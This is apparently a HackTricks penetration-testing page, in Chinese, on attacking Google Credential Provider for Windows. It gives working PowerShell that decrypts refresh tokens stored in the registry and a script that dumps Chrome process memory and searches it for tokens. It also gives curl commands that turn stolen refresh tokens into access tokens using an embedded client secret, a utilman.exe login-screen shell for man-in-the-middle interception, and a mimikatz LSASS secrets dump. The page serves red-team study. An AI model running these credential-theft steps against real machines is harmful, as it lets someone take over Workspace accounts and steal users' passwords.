GCPW - Google Credential Provider for Windows

学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 @hacktricks_live** 上关注我们。**

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。

基本信息

这是 Google Workspace 提供的单点登录，用户可以使用 他们的 Workspace 凭据 登录他们的 Windows PC。此外，这将会在 PC 的某些地方存储访问 Google Workspace 的令牌。

请注意 Winpeas 能够检测 GCPW，获取有关配置的信息和 甚至令牌。

GCPW - MitM

当用户通过 GCPW 访问与 Google Workspace 同步的 Windows PC 时，需要完成一个常见的登录表单。该登录表单将返回一个 OAuth 代码，PC 将用该代码交换刷新令牌，请求如下：

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

新行已添加以提高可读性。

可以通过在PC上安装Proxifier，用cmd.exe覆盖utilman.exe二进制文件，并在Windows登录页面执行辅助功能，从而执行CMD，从中可以启动和配置Proxifier，来执行MitM攻击。 不要忘记在Proxifier中阻止QUICK UDP流量，以便降级为TCP通信，这样你就可以看到它。

还要在“服务和其他用户”中配置两个选项，并在Windows中安装Burp CA证书。

此外，通过在**HKLM:\SOFTWARE\Google\GCPW**中添加键enable_verbose_logging = 1和log_file_path = C:\Public\gcpw.log，可以使其存储一些日志。

GCPW - 指纹

可以通过检查以下进程是否存在或以下注册表键是否存在来检查设备上是否安装了GCPW：

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

在 HKCU:\SOFTWARE\Google\Accounts 中，可以访问用户的电子邮件和加密的 refresh token，如果用户最近登录过。

在 HKLM:\SOFTWARE\Google\GCPW\Users 中，可以在键 domains_allowed 中找到允许登录的 domains，在子键中可以找到有关用户的信息，如电子邮件、头像、用户名、令牌生命周期、令牌句柄...

令牌句柄是一个以 eth. 开头的令牌，可以通过请求提取一些信息，例如：

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

还可以通过以下请求找到访问令牌的令牌句柄：

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

据我所知，从令牌句柄中无法获得刷新令牌或访问令牌。

此外，文件 C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse 是一个包含不同 设置 信息的 json，如 enableDmEnrollment、enableGcpAutoUpdate、enableMultiUserLogin（如果多个 Workspace 用户可以登录计算机）和 validityPeriodDays（用户无需直接与 Google 重新认证的天数）。

GCPW - 获取令牌

GCPW - 注册表刷新令牌

在注册表 HKCU:\SOFTWARE\Google\Accounts 中，可能会找到一些带有加密 refresh_token 的帐户。方法 ProtectedData.Unprotect 可以轻松解密它。

获取 HKCU:\SOFTWARE\Google\Accounts 数据并解密 refresh_tokens

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

示例输出:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI

</div>

如[**此视频**](https://www.youtube.com/watch?v=FEQxHRRP\_5I)所述，如果在注册表中找不到令牌，可以修改**`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`**中的值（或删除），下次用户访问计算机时，他将需要重新登录，并且**令牌将存储在之前的注册表中**。

### GCPW - 磁盘刷新令牌

文件**`%LocalAppData%\Google\Chrome\User Data\Local State`**存储解密**`refresh_tokens`**的密钥，这些令牌位于用户的**Google Chrome 配置文件**中，如：

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

可以在[**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)中找到一些**C#代码**，以解密的方式访问这些令牌。

此外，关于加密的内容可以在此代码中找到：[https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)

可以观察到使用了AESGCM，加密令牌以**版本**（此时为**`v10`**）开头，然后是[**12B的nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42)，接着是**密文**，最后是**16B的mac**。

### GCPW - 从进程内存中转储令牌

以下脚本可用于使用`procdump`**转储**每个**Chrome**进程，提取**字符串**，然后**搜索**与**访问和刷新令牌**相关的字符串。如果Chrome连接到某个Google网站，则某些**进程将会在内存中存储刷新和/或访问令牌！**

<details>

<summary>转储Chrome进程并搜索令牌</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

我用 gcpw_extension.exe 尝试了同样的操作，但没有找到任何令牌。

出于某种原因，一些提取的访问令牌将无效（尽管有些是有效的）。我尝试了以下脚本逐个删除字符，以尝试从转储中获取有效令牌。它从未帮助我找到有效的令牌，但我想它可能有用：

逐个删除字符检查访问令牌

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - 从刷新令牌生成访问令牌

使用刷新令牌，可以使用它以及以下命令中指定的客户端ID和客户端密钥生成访问令牌：
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - Scopes

请注意，即使拥有刷新令牌，也无法请求访问令牌的任何范围，因为您只能请求由您生成访问令牌的应用程序支持的范围。

此外，刷新令牌在每个应用程序中都无效。

默认情况下，GCPW 作为用户不会访问所有可能的 OAuth 范围，因此使用以下脚本，我们可以找到可以与 refresh_token 一起使用以生成 access_token 的范围：

GCPW - 恢复明文密码

要利用 GCPW 恢复密码的明文，可以使用 mimikatz 从 LSASS 转储加密密码：

mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

然后搜索像 Chrome-GCPW-<sid> 的秘密，如图所示：

然后，使用具有范围 https://www.google.com/accounts/OAuthLogin 的 访问令牌，可以请求私钥以解密密码：